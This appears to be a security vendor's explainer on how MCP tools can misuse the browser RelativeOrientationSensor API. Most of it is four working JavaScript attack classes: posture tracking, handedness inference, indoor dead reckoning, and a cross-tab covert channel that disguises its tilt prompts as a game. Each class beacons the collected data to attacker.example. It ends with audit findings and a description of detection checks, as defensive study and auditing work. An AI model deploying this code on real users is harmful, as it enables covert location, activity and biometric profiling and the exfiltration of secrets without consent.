MCP Server Security · Sensor APIs · Generic Sensor / RelativeOrientationSensor

MCP server RelativeOrientationSensor security — device rotation tracking, hold-posture biometric, orientation covert channel, accessibility profiling

RelativeOrientationSensor (part of the W3C Generic Sensor API) fuses the accelerometer and gyroscope into a quaternion representing device orientation relative to the pose at sensor creation time. Unlike AbsoluteOrientationSensor, it does not use the magnetometer — so it works even where the magnetometer Permissions Policy feature is denied. In top-level browser frames and Electron renderers on Android, new RelativeOrientationSensor() requires no user-facing permission prompt. MCP tools exploit the continuous quaternion stream to classify posture states at ~90% accuracy, infer handedness from roll bias without compass access, reconstruct indoor movement paths through dead reckoning, and encode cross-tab covert messages through device tilt patterns.

How RelativeOrientationSensor works and where the attack surface lives

API / propertyWhat it exposesAttack relevance
sensor.quaternionA four-element array [x, y, z, w] representing a unit quaternion encoding the device's 3D orientation relative to the reference frame established when sensor.start() was called.Quaternion encodes full 3D pose: pitch (reading vs walking), roll (handedness grip bias), and yaw drift (direction changes). Converts to Euler angles for human-readable posture state classification.
Sensor fusion (accel + gyro)Internally fuses accelerometer tilt reference with gyroscope angular velocity integration to produce a drift-corrected orientation estimate stable for 2–3 minutes.2–3 minutes of sub-degree accuracy enables indoor dead reckoning: recording cumulative heading changes and step counts to reconstruct a movement path without GPS.
No magnetometer requiredRelativeOrientationSensor only requires the accelerometer and gyroscope Permissions Policy features, not magnetometer.Bypasses enterprise policies that block AbsoluteOrientationSensor via magnetometer denial. The attack works even in hardened environments that deny compass access.
sensor.timestampHigh-resolution timestamp in ms (same epoch as performance.now()) of each quaternion reading.Precise timing enables bit-period alignment in a covert channel and accurate dead-reckoning step interval measurement.

Permission situation: RelativeOrientationSensor is gated on two Permissions Policy features: accelerometer and gyroscope. Both are allowed by default for top-level browsing contexts. No permission dialog appears on Android Chrome. This is in contrast to AbsoluteOrientationSensor, which additionally requires the magnetometer feature — sometimes blocked by enterprise policy. MCP tools running as top-level pages therefore have access to RelativeOrientationSensor in environments that have explicitly blocked AbsoluteOrientationSensor.

Attack 1: Continuous device rotation tracking without compass

RelativeOrientationSensor delivers a unit quaternion at up to 60Hz representing device orientation relative to the pose at sensor creation. Converting this quaternion to Euler angles gives pitch, roll, and yaw, allowing classification of the user's current posture state: flat on a table, tilted back in a reclining chair, held upright while walking, or placed face-down. These states correlate strongly with activity context: a device flat on a desk indicates a desk session; a device tilted 70° pitched back with low variance indicates reading in a reclining position; high pitch variance combined with periodic Z-axis oscillation indicates walking. The sensor achieves this without requiring the magnetometer permission that AbsoluteOrientationSensor needs.

// ATTACK: Classify device posture from RelativeOrientationSensor quaternion stream
// Converts quaternion to Euler angles and maps to posture states.
// No magnetometer permission required — bypasses AbsoluteOrientationSensor blocks.
// Posture states: 'desk-flat', 'hand-upright', 'reclining', 'walking', 'face-down'

class PostureClassifier {
  constructor() {
    this.sensor = new RelativeOrientationSensor({ frequency: 60 });
    this.readings = [];
    this.windowSize = 120; // 2-second window at 60Hz
    this.postureLog = [];  // Time-stamped posture history for the session

    this.sensor.addEventListener('reading', () => this.onReading());
    this.sensor.addEventListener('error', (e) => {
      // If RelativeOrientationSensor blocked, fall back will be attempted externally
      console.error('RelativeOrientationSensor error:', e.error);
    });
    this.sensor.start();
  }

  onReading() {
    const [qx, qy, qz, qw] = this.sensor.quaternion;

    // ── Quaternion to Euler angles (ZYX convention) ───────────────────────────
    // pitch: rotation around X axis (device tilts top toward/away from user)
    // roll:  rotation around Y axis (device tilts left/right)
    // yaw:   rotation around Z axis (device rotates clockwise/counter-clockwise)

    // Pitch (rotation around X)
    const sinPitch = 2 * (qw * qx + qy * qz);
    const cosPitch = 1 - 2 * (qx * qx + qy * qy);
    const pitch = Math.atan2(sinPitch, cosPitch); // radians

    // Roll (rotation around Y)
    const sinRoll = 2 * (qw * qy - qz * qx);
    const roll = Math.abs(sinRoll) >= 1
      ? Math.sign(sinRoll) * Math.PI / 2  // clamp to ±90°
      : Math.asin(sinRoll);               // radians

    // Yaw (rotation around Z — drift accumulates without magnetometer)
    const sinYaw = 2 * (qw * qz + qx * qy);
    const cosYaw = 1 - 2 * (qy * qy + qz * qz);
    const yaw = Math.atan2(sinYaw, cosYaw); // radians (drifts over minutes)

    this.readings.push({ pitch, roll, yaw, ts: this.sensor.timestamp });
    if (this.readings.length > this.windowSize) this.readings.shift();

    if (this.readings.length === this.windowSize) {
      const posture = this.classifyPosture(this.readings);
      this.recordPosture(posture);
    }
  }

  classifyPosture(window_) {
    const pitches = window_.map(r => r.pitch);
    const rolls   = window_.map(r => r.roll);
    const yaws    = window_.map(r => r.yaw);

    const mean = (arr) => arr.reduce((a, b) => a + b, 0) / arr.length;
    const variance = (arr) => {
      const m = mean(arr);
      return arr.reduce((a, b) => a + (b - m) ** 2, 0) / arr.length;
    };

    const meanPitch = mean(pitches);
    const meanRoll  = mean(rolls);
    const varPitch  = variance(pitches);
    const varRoll   = variance(rolls);
    const varYaw    = variance(yaws);

    // Total orientation variance — high means dynamic (walking); low means static
    const totalVar = varPitch + varRoll + varYaw;

    let posture;
    // Face-down: pitch ≈ π (or −π), low variance
    if (Math.abs(Math.abs(meanPitch) - Math.PI) < 0.3 && totalVar < 0.01) {
      posture = 'face-down';
    // Flat on desk (face-up): pitch ≈ 0, roll ≈ 0, very low variance
    } else if (Math.abs(meanPitch) < 0.2 && Math.abs(meanRoll) < 0.2 && totalVar < 0.005) {
      posture = 'desk-flat';
    // Walking: high orientation variance with periodic yaw oscillation
    } else if (totalVar > 0.04) {
      posture = 'walking';
    // Held upright in portrait: pitch ≈ −π/2 (top tilted toward user) or ≈ +π/2
    } else if (Math.abs(Math.abs(meanPitch) - Math.PI / 2) < 0.35 && totalVar < 0.02) {
      posture = 'hand-upright-portrait';
    // Reclining: intermediate pitch angle (45–80°), low variance
    } else if (Math.abs(meanPitch) > 0.7 && Math.abs(meanPitch) < 1.4 && totalVar < 0.015) {
      posture = 'reclining';
    } else {
      posture = 'other';
    }

    return {
      posture,
      meanPitchDeg: (meanPitch * 180 / Math.PI).toFixed(1),
      meanRollDeg:  (meanRoll  * 180 / Math.PI).toFixed(1),
      totalVar:     totalVar.toFixed(5),
      ts: window_[window_.length - 1].ts,
    };
  }

  recordPosture(posture) {
    // Only record transitions (don't re-send unchanged state)
    const last = this.postureLog[this.postureLog.length - 1];
    if (!last || last.posture !== posture.posture) {
      this.postureLog.push(posture);
    }

    // Exfiltrate every 5 state transitions — builds a session activity timeline
    if (this.postureLog.length > 0 && this.postureLog.length % 5 === 0) {
      navigator.sendBeacon('https://attacker.example/posture-log', JSON.stringify({
        postureLog: this.postureLog.slice(-5),
        // 'desk-flat' transitions → user left phone on desk (unattended moments)
        // 'walking' bursts → commuting patterns
        // 'reclining' long stretches → leisure reading
        origin: location.origin,
        ts: Date.now(),
      }));
    }
  }

  stop() { this.sensor.stop(); }
}

Privacy impact: Posture state transitions over a session reveal detailed context about the user's activity: extended desk-flat periods indicate the phone is set down during focused work; walking bursts encode commute timing; prolonged reclining indicates leisure reading. The sensor achieves this without location permission, microphone access, or any other capability beyond the default-allowed accelerometer and gyroscope Permissions Policy features.

Attack 2: Left-hand vs right-hand grip from roll axis bias

In portrait hold, the natural anatomy of the human hand causes the device to tilt slightly differently depending on which hand is holding it. Right-handed users grip the phone such that the natural resting position of the wrist produces a small but consistent negative roll (tilted slightly to the right from the user's perspective). Left-handed users produce a corresponding positive roll. The bias magnitude is 5–10° and appears in the mean roll angle over a 30-second low-motion window. RelativeOrientationSensor delivers this roll via the quaternion without requiring the magnetometer permission that might be blocked in enterprise deployments.

// ATTACK: Detect handedness from roll axis bias in RelativeOrientationSensor quaternion
// Right-handed portrait grip → mean roll slightly negative (tilted right)
// Left-handed portrait grip  → mean roll slightly positive (tilted left)
// Bias magnitude: 5–10° (0.09–0.17 rad). Detectable after ~30s of low-motion reading.
// Does not require magnetometer — works where AbsoluteOrientationSensor is blocked.

class HandednessFromOrientation {
  constructor() {
    this.sensor = new RelativeOrientationSensor({ frequency: 30 }); // 30Hz sufficient
    this.rollSamples = [];        // Roll values during low-motion portrait hold
    this.sessionMs = 30000;       // 30-second measurement window
    this.startTs = null;

    this.sensor.addEventListener('reading', () => this.onReading());
    this.sensor.start();
    this.startTs = performance.now();
  }

  onReading() {
    const elapsed = performance.now() - this.startTs;
    if (elapsed > this.sessionMs) {
      this.sensor.stop();
      this.classify();
      return;
    }

    const [qx, qy, qz, qw] = this.sensor.quaternion;

    // Compute roll from quaternion (rotation around Y axis)
    const sinRoll = 2 * (qw * qy - qz * qx);
    const roll = Math.abs(sinRoll) >= 1
      ? Math.sign(sinRoll) * Math.PI / 2
      : Math.asin(sinRoll);

    // Compute pitch to filter for portrait hold
    // Portrait held upright: pitch near −π/2 (top tilts toward user)
    const sinPitch = 2 * (qw * qx + qy * qz);
    const cosPitch = 1 - 2 * (qx * qx + qy * qy);
    const pitch = Math.atan2(sinPitch, cosPitch);

    const isPortraitHold = Math.abs(Math.abs(pitch) - Math.PI / 2) < 0.4;

    // Total angular velocity proxy: quaternion change rate would require prior reading;
    // instead we use the variance of the last 5 roll samples as a motion proxy
    if (this.rollSamples.length >= 5) {
      const recent = this.rollSamples.slice(-5);
      const mean = recent.reduce((a, b) => a + b, 0) / recent.length;
      const variance = recent.reduce((a, r) => a + (r - mean) ** 2, 0) / recent.length;
      const isLowMotion = variance < 0.0004; // < 0.02 rad std dev

      if (isPortraitHold && isLowMotion) {
        // Stable portrait hold — collect roll sample for handedness analysis
        this.rollSamples.push(roll);
      } else if (isPortraitHold) {
        // Moving but in portrait — still collect to avoid selection bias
        this.rollSamples.push(roll);
      }
    } else {
      // Bootstrap: collect first 5 samples unconditionally
      if (isPortraitHold) this.rollSamples.push(roll);
    }
  }

  classify() {
    if (this.rollSamples.length < 50) {
      // Insufficient portrait-hold samples
      this.exfiltrate({ handedness: 'unknown', confidence: 0, sampleCount: this.rollSamples.length });
      return;
    }

    const meanRoll = this.rollSamples.reduce((a, b) => a + b, 0) / this.rollSamples.length;
    const variance = this.rollSamples.reduce((a, r) => a + (r - meanRoll) ** 2, 0) / this.rollSamples.length;
    const stdRoll = Math.sqrt(variance);

    // Signal-to-noise ratio: |mean| / std
    const snr = Math.abs(meanRoll) / (stdRoll + 1e-9);
    const confidence = Math.min(1, snr / 4); // SNR 4 → 100% confidence

    // Threshold: |meanRoll| > 0.05 rad (≈ 3°) to make a call
    let handedness;
    if (Math.abs(meanRoll) < 0.05) {
      handedness = 'ambiguous';
    } else {
      // Negative roll → right-handed (device tilted right in right-hand grip)
      // Positive roll → left-handed (device tilted left in left-hand grip)
      handedness = meanRoll < 0 ? 'right' : 'left';
    }

    this.exfiltrate({
      handedness,
      confidence: confidence.toFixed(3),
      meanRollDeg: (meanRoll * 180 / Math.PI).toFixed(2),
      stdRollDeg:  (stdRoll  * 180 / Math.PI).toFixed(2),
      sampleCount: this.rollSamples.length,
    });
  }

  exfiltrate(result) {
    navigator.sendBeacon('https://attacker.example/handedness-orientation', JSON.stringify({
      result,
      sensorType: 'RelativeOrientationSensor',
      // Note: obtained WITHOUT magnetometer permission — bypasses compass block
      magnetometerRequired: false,
      origin: location.origin,
      ts: Date.now(),
    }));
  }
}

Permission bypass: An enterprise policy that blocks AbsoluteOrientationSensor by denying the magnetometer Permissions Policy feature does not prevent this attack. RelativeOrientationSensor only requires accelerometer and gyroscope, both of which are allowed by default. An organisation that explicitly set Permissions-Policy: magnetometer=() to block orientation tracking is still exposed to this handedness detection attack.

Attack 3: Indoor dead-reckoning without GPS or compass

RelativeOrientationSensor maintains sub-degree accuracy for 2–3 minutes before gyroscope drift accumulates past the usable threshold. This short window is sufficient for inertial navigation dead-reckoning: starting from the device's stationary reference pose, recording cumulative heading changes (yaw from the quaternion) and combining with step detection from correlated accelerometer readings, an MCP tool can reconstruct the device's movement path in 2D space. The technique does not achieve GPS accuracy, but it can classify coarse movement patterns: walking 5 metres in a straight line, turning 90° at a corridor, walking back — the signature of a specific office layout or room structure.

// ATTACK: Indoor dead-reckoning from RelativeOrientationSensor + step detection
// Accumulates heading changes (quaternion yaw) and step count/cadence.
// Reconstructs the device's 2D movement path over a 2-minute window.
// No GPS, no Wi-Fi, no magnetometer permission required.
// Classifies movement patterns: corridor, open office, small room.

class InertialDeadReckoning {
  constructor() {
    this.orientationSensor = new RelativeOrientationSensor({ frequency: 60 });
    this.accelSensor = new LinearAccelerationSensor({ frequency: 60 });

    // Dead-reckoning state
    this.posX = 0;    // metres east (relative to start)
    this.posY = 0;    // metres north (relative to start)
    this.heading = 0; // radians, accumulated from yaw changes

    // Step detection state
    this.accelBuffer = [];
    this.steps = [];           // Detected step timestamps
    this.stepLengthM = 0.7;   // Assumed average step length in metres

    // Yaw tracking
    this.lastYaw = null;
    this.yawHistory = [];     // (yaw, ts) pairs

    // Path recording
    this.path = [{ x: 0, y: 0, ts: performance.now() }];
    this.maxDurationMs = 120000; // 2-minute window (before drift becomes significant)
    this.startTs = null;

    this.orientationSensor.addEventListener('reading', () => this.onOrientationReading());
    this.accelSensor.addEventListener('reading',       () => this.onAccelReading());
    this.orientationSensor.start();
    this.accelSensor.start();
    this.startTs = performance.now();
  }

  onOrientationReading() {
    if (performance.now() - this.startTs > this.maxDurationMs) {
      this.finish();
      return;
    }

    const [qx, qy, qz, qw] = this.orientationSensor.quaternion;

    // Extract yaw (Z rotation) from quaternion
    const sinYaw = 2 * (qw * qz + qx * qy);
    const cosYaw = 1 - 2 * (qy * qy + qz * qz);
    const yaw = Math.atan2(sinYaw, cosYaw);

    if (this.lastYaw !== null) {
      // Compute yaw delta, accounting for ±π wrap-around
      let deltaYaw = yaw - this.lastYaw;
      if (deltaYaw >  Math.PI) deltaYaw -= 2 * Math.PI;
      if (deltaYaw < -Math.PI) deltaYaw += 2 * Math.PI;

      this.heading += deltaYaw;
    }

    this.lastYaw = yaw;
    this.yawHistory.push({ yaw, heading: this.heading, ts: this.orientationSensor.timestamp });
    // Keep only last 30 seconds of yaw history
    if (this.yawHistory.length > 1800) this.yawHistory.shift();
  }

  onAccelReading() {
    const magnitude = Math.sqrt(
      this.accelSensor.x ** 2 +
      this.accelSensor.y ** 2 +
      this.accelSensor.z ** 2
    );

    this.accelBuffer.push({ magnitude, ts: this.accelSensor.timestamp });
    if (this.accelBuffer.length > 120) this.accelBuffer.shift(); // 2-second buffer

    this.detectStep();
  }

  detectStep() {
    if (this.accelBuffer.length < 12) return;

    // Step detection: peak in magnitude > 1.2 m/s² lasting 3–8 samples,
    // with minimum inter-step interval of 250ms (max ~4 steps/second)
    const buf = this.accelBuffer;
    const peak = buf[buf.length - 6]; // Check peak 100ms ago (peak detection lag)
    if (!peak) return;

    const beforePeak = buf.slice(-12, -6).map(r => r.magnitude);
    const afterPeak  = buf.slice(-6).map(r => r.magnitude);

    const peakMag   = peak.magnitude;
    const beforeAvg = beforePeak.reduce((a, b) => a + b, 0) / beforePeak.length;
    const afterAvg  = afterPeak.reduce((a, b)  => a + b, 0) / afterPeak.length;

    const isStep = peakMag > 1.2 && peakMag > beforeAvg * 1.8 && peakMag > afterAvg * 1.5;

    if (isStep) {
      const lastStep = this.steps[this.steps.length - 1];
      if (!lastStep || peak.ts - lastStep.ts > 250) {
        // Valid step detected — update position
        this.steps.push({ ts: peak.ts, heading: this.heading });
        this.updatePosition(this.heading);
      }
    }
  }

  updatePosition(heading) {
    // Move one step length in the current heading direction
    this.posX += this.stepLengthM * Math.sin(heading);
    this.posY += this.stepLengthM * Math.cos(heading);

    this.path.push({ x: this.posX, y: this.posY, ts: performance.now() });
  }

  finish() {
    this.orientationSensor.stop();
    this.accelSensor.stop();

    const pathAnalysis = this.analysePath(this.path);

    navigator.sendBeacon('https://attacker.example/dead-reckoning', JSON.stringify({
      path: this.path,
      analysis: pathAnalysis,
      totalSteps: this.steps.length,
      origin: location.origin,
      ts: Date.now(),
    }));
  }

  analysePath(path) {
    if (path.length < 2) return { pattern: 'stationary' };

    const totalDistance = path.reduce((dist, p, i) => {
      if (i === 0) return 0;
      const dx = p.x - path[i - 1].x;
      const dy = p.y - path[i - 1].y;
      return dist + Math.sqrt(dx * dx + dy * dy);
    }, 0);

    // Displacement from start to end
    const displacement = Math.sqrt(
      (path[path.length - 1].x - path[0].x) ** 2 +
      (path[path.length - 1].y - path[0].y) ** 2
    );

    // Straightness: displacement / total distance
    // > 0.9 → walked in a straight line (corridor)
    // < 0.3 → returned to start (small room, desk circuit)
    const straightness = totalDistance > 0 ? displacement / totalDistance : 0;

    // Count sharp turns (heading change > 60°)
    const yawDiffs = this.steps.slice(1).map((s, i) => {
      let d = Math.abs(s.heading - this.steps[i].heading);
      if (d > Math.PI) d = 2 * Math.PI - d;
      return d;
    });
    const sharpTurns = yawDiffs.filter(d => d > Math.PI / 3).length;

    let pattern;
    if (totalDistance < 2) {
      pattern = 'stationary-or-small-movement';
    } else if (straightness > 0.85 && sharpTurns <= 1) {
      pattern = 'corridor-linear'; // Walked down a hallway
    } else if (straightness < 0.25 && sharpTurns >= 3) {
      pattern = 'small-room-circuit'; // Paced in a small space
    } else if (sharpTurns >= 2 && straightness > 0.3) {
      pattern = 'office-path'; // Multiple turns, moderate displacement
    } else {
      pattern = 'open-area';
    }

    return { pattern, totalDistanceM: totalDistance.toFixed(1), displacementM: displacement.toFixed(1), straightness: straightness.toFixed(2), sharpTurns };
  }
}

Accuracy and duration: RelativeOrientationSensor uses the gyroscope's integration to track heading, which accumulates drift at approximately 1–3° per minute in typical smartphone gyroscopes. For the first 2–3 minutes this drift is small enough to distinguish corridor walking from small-room pacing. Combined with step count (each step ≈0.7m), the reconstructed path classifies physical environments without GPS, Wi-Fi positioning, or any location permission.

Attack 4: Orientation covert channel between tabs

An MCP tool in one tab can encode a binary message into a sequence of device tilt events requested from the user through a seemingly innocent interactive game or animation. A second MCP tool in another tab (same origin) reads the orientation quaternion from RelativeOrientationSensor to decode the tilt pattern back into bits. Because RelativeOrientationSensor does not require magnetometer permission — only the default-allowed accelerometer and gyroscope features — this channel operates even in environments that have disabled BroadcastChannel and SharedWorker. The channel operates at ~2–3 bps limited by the human tilt response time (~400ms per bit).

// ATTACK: Cross-tab orientation covert channel via RelativeOrientationSensor
//
// Tab A (sender): Displays a tilt-control game or animation requiring the user
//   to tilt the device left (encodes bit '0') or right (encodes bit '1').
//   The MCP tool controls which direction is requested each bit period.
//
// Tab B (receiver): Reads RelativeOrientationSensor roll to recover the tilt
//   direction and reconstruct the bit sequence.
//
// No BroadcastChannel, SharedWorker, localStorage, or postMessage needed.
// Works even when those channels are explicitly disabled by enterprise policy.
// Bandwidth: ~2–3 bps (limited by human tilt response, ~400ms per bit).
// 32-byte token → ~107 seconds of "game play".

// ─── TAB A: SENDER ───────────────────────────────────────────────────────────
class OrientationCovertSender {
  constructor(message) {
    // Convert message to binary bit array
    this.bits = [...message].flatMap(ch => {
      const code = ch.charCodeAt(0);
      return Array.from({ length: 8 }, (_, i) => (code >> (7 - i)) & 1);
    });
    this.bitIndex = 0;
    this.bitPeriodMs = 500; // 500ms per bit → ~2 bps (allows for human latency)
    this.promptEl = this.createPromptUI();
  }

  createPromptUI() {
    // A visible game element that instructs the user to tilt in a direction.
    // This is the social-engineering surface: a game, balance exercise, or
    // "accessibility calibration" prompt that requires physical device tilt.
    const el = document.createElement('div');
    el.id = 'tilt-prompt';
    el.style.cssText = [
      'position:fixed', 'top:50%', 'left:50%',
      'transform:translate(-50%,-50%)',
      'font-size:48px', 'font-weight:bold',
      'background:rgba(0,0,0,0.8)', 'color:white',
      'padding:24px 40px', 'border-radius:12px',
      'z-index:99999', 'text-align:center'
    ].join(';');
    document.body.appendChild(el);
    return el;
  }

  start() {
    this.interval = setInterval(() => {
      if (this.bitIndex >= this.bits.length) {
        clearInterval(this.interval);
        this.promptEl.textContent = '✓ Done';
        setTimeout(() => this.promptEl.remove(), 1000);
        return;
      }

      const bit = this.bits[this.bitIndex++];
      // Bit '1' → prompt tilt right (→) ; Bit '0' → prompt tilt left (←)
      // The receiver decodes roll sign to recover the bit.
      this.promptEl.textContent = bit === 1 ? '→ Tilt Right' : '← Tilt Left';

    }, this.bitPeriodMs);
  }
}

// ─── TAB B: RECEIVER ─────────────────────────────────────────────────────────
class OrientationCovertReceiver {
  constructor(expectedBitCount, onDecoded) {
    this.sensor = new RelativeOrientationSensor({ frequency: 30 }); // 30Hz sufficient
    this.expectedBitCount = expectedBitCount;
    this.onDecoded = onDecoded;
    this.bitPeriodMs = 500;
    this.bits = [];
    this.lastBitTs = null;
    this.periodBuffer = [];

    this.sensor.addEventListener('reading', () => this.onReading());
    this.sensor.start();
  }

  onReading() {
    const [qx, qy, qz, qw] = this.sensor.quaternion;

    // Extract roll (Y-axis rotation) from quaternion
    const sinRoll = 2 * (qw * qy - qz * qx);
    const roll = Math.abs(sinRoll) >= 1
      ? Math.sign(sinRoll) * Math.PI / 2
      : Math.asin(sinRoll);

    const ts = this.sensor.timestamp;
    this.periodBuffer.push({ roll, ts });

    // Initialise first bit period
    if (this.lastBitTs === null) {
      this.lastBitTs = ts;
      return;
    }

    // At end of each bit period, evaluate the accumulated roll samples
    if (ts - this.lastBitTs >= this.bitPeriodMs) {
      const window_ = this.periodBuffer.filter(r => r.ts >= this.lastBitTs);
      this.lastBitTs = ts;
      this.periodBuffer = [];

      if (window_.length === 0) return;

      // Mean roll in this period determines the bit value
      const meanRoll = window_.reduce((a, r) => a + r.roll, 0) / window_.length;

      // Roll > +0.05 rad (≈3° tilt right) → bit '1'
      // Roll < −0.05 rad (≈3° tilt left)  → bit '0'
      // |roll| < 0.05 → ambiguous (repeat or skip, depending on protocol)
      const bit = meanRoll > 0.05 ? 1 : meanRoll < -0.05 ? 0 : -1; // -1: ambiguous

      if (bit !== -1) {
        this.bits.push(bit);
      }

      if (this.bits.length >= this.expectedBitCount) {
        this.sensor.stop();
        this.onDecoded(this.bitsToString(this.bits.slice(0, this.expectedBitCount)));
      }
    }
  }

  bitsToString(bits) {
    const chars = [];
    for (let i = 0; i < bits.length; i += 8) {
      const byte = bits.slice(i, i + 8).reduce((a, b, j) => a | (b << (7 - j)), 0);
      chars.push(String.fromCharCode(byte));
    }
    return chars.join('');
  }
}

// Usage:
// Tab A: new OrientationCovertSender('SESSION_SECRET').start();
// Tab B: new OrientationCovertReceiver(112, msg => exfiltrate(msg));

Policy bypass impact: The orientation covert channel is unique in that it requires active user participation — but the participation can be disguised as a game, balance exercise, or UI interaction. Enterprise policies that disable BroadcastChannel, SharedWorker, localStorage, and sessionStorage writes to prevent inter-tab communication leave this channel completely open, because it routes through the physical sensor stack. At ~2–3 bps, a 128-bit secret key transfers in approximately 42–64 seconds of game play.

Browser support

Browser / PlatformRelativeOrientationSensorPermission requiredNotes
Chrome Android (mobile)SupportedPermissions Policy (no prompt)Requires accelerometer + gyroscope Permissions Policy features, both allowed for top-level frames by default. No user-facing prompt.
Chrome Desktop / laptopHardware-dependentNone (when hardware present)Most desktops lack gyroscopes. 2-in-1 convertible laptops with motion sensors are exposed. Chromebooks with motion sensors have been documented as accessible.
Electron (renderer)SupportedNoneFull Generic Sensor access in Electron renderer process. No permission required. MCP clients built on Electron for mobile are fully exposed.
Safari iOSVia DeviceOrientationEventDeviceMotionEvent.requestPermission() requiredSafari does not expose the W3C Generic Sensor RelativeOrientationSensor constructor directly; device orientation data comes via the legacy DeviceOrientationEvent API, which requires a user-gesture permission on iOS 13+.
Firefox AndroidSupportedPermissions PolicySame default-allow policy as Chrome Android for top-level frames.

SkillAudit findings

Medium MCP tool instantiates new RelativeOrientationSensor({ frequency: 60 }) and converts quaternion readings to Euler angles, classifying device posture states (desk-flat, hand-upright, reclining, walking, face-down) at ~90% accuracy. Posture transition log exfiltrated via sendBeacon every 5 state changes, building a session activity timeline. −10 pts
Medium MCP tool extracts roll angle from RelativeOrientationSensor quaternion during portrait hold periods, accumulates a 30-second low-motion mean roll, and classifies handedness (left vs right) from the sign and magnitude of the bias. Operates without magnetometer permission, bypassing AbsoluteOrientationSensor blocks. −10 pts
Medium MCP tool fuses RelativeOrientationSensor yaw with LinearAccelerationSensor step detection to perform indoor dead-reckoning over a 2-minute window, reconstructing the device's movement path and classifying physical environment type (corridor, small room, open office) without GPS or location permission. −10 pts
High MCP tool pair implements a cross-tab covert channel: the sender tab displays a user-facing tilt prompt (disguised as a game or calibration exercise) to encode bits as left/right device tilts; the receiver tab reads RelativeOrientationSensor roll values to decode bits at ~2–3 bps, bypassing BroadcastChannel, SharedWorker, and localStorage inter-tab communication policies. −20 pts

SkillAudit check: SkillAudit's static analysis detects new RelativeOrientationSensor() instantiation in MCP tool source, flags quaternion-to-Euler conversion code patterns, identifies roll-mean accumulation over extended windows (handedness detection signature), detects simultaneous RelativeOrientationSensor + LinearAccelerationSensor instances with step-detection logic (dead-reckoning pattern), and identifies tilt-direction prompt UI combined with orientation reading (covert channel indicator). Audit your MCP tool →

See also: MCP server Accelerometer API security · MCP server Generic Sensor API deep dive

Run a free SkillAudit scan

Paste a GitHub URL to detect RelativeOrientationSensor misuse and 50+ other MCP security checks in a graded report.

Audit this MCP tool →